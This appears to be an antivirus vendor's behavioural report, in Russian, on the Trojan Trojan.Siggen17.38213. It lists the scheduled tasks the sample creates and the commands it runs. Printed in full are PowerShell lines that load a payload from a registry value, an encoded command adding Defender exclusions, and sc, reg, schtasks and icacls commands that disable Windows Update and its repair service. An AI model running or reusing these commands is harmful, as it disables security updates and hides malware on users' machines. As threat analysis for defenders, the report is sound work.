Trojan.Siggen17.38213

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\dialersvc32
<SYSTEM32>\tasks\dialersvc64
%WINDIR%\tasks\dialersvc32.job
%WINDIR%\tasks\dialersvc64.job
<SYSTEM32>\tasks\steamhost

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует запуск следующих системных утилит:

Обновления системы (Windows Update)

Внедряет код в

следующие системные процессы:

<SYSTEM32>\schtasks.exe

Изменения в файловой системе

Самоудаляется.

Другое

Создает и запускает на исполнение

'%HOMEPATH%\chrome\updater.exe'
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
'<SYSTEM32>\sc.exe' config UsoSvc start= disabled
'<SYSTEM32>\sc.exe' failure UsoSvc reset= 0 actions= ""
'<SYSTEM32>\takeown.exe' /f C:\\Windows\\System32\\WaaSMedicSvc.dll
'<SYSTEM32>\icacls.exe' C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
'<SYSTEM32>\reg.exe' add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
'<SYSTEM32>\reg.exe' add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
'<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE
'<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE
'<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE
'<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE
'<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE
'<SYSTEM32>\sc.exe' failure dosvc reset= 0 actions= ""
'<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE
'<SYSTEM32>\sc.exe' config dosvc start= disabled
'<SYSTEM32>\sc.exe' config bits start= disabled
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
'<SYSTEM32>\dllhost.exe' /Processid:{b7272943-6b4d-4b53-85dc-1c35cbc1ebba}
'<SYSTEM32>\choice.exe' /C Y /N /D Y /T 3
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGIAdwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAbQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQA...
'<SYSTEM32>\sc.exe' stop wuauserv
'<SYSTEM32>\sc.exe' stop bits
'<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
'<SYSTEM32>\sc.exe' stop dosvc
'<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
'<SYSTEM32>\sc.exe' stop UsoSvc
'<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
'<SYSTEM32>\sc.exe' stop WaaSMedicSvc
'<SYSTEM32>\sc.exe' config wuauserv start= disabled
'<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
'<SYSTEM32>\sc.exe' failure wuauserv reset= 0 actions= ""
'<SYSTEM32>\sc.exe' failure bits reset= 0 actions= ""
'<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE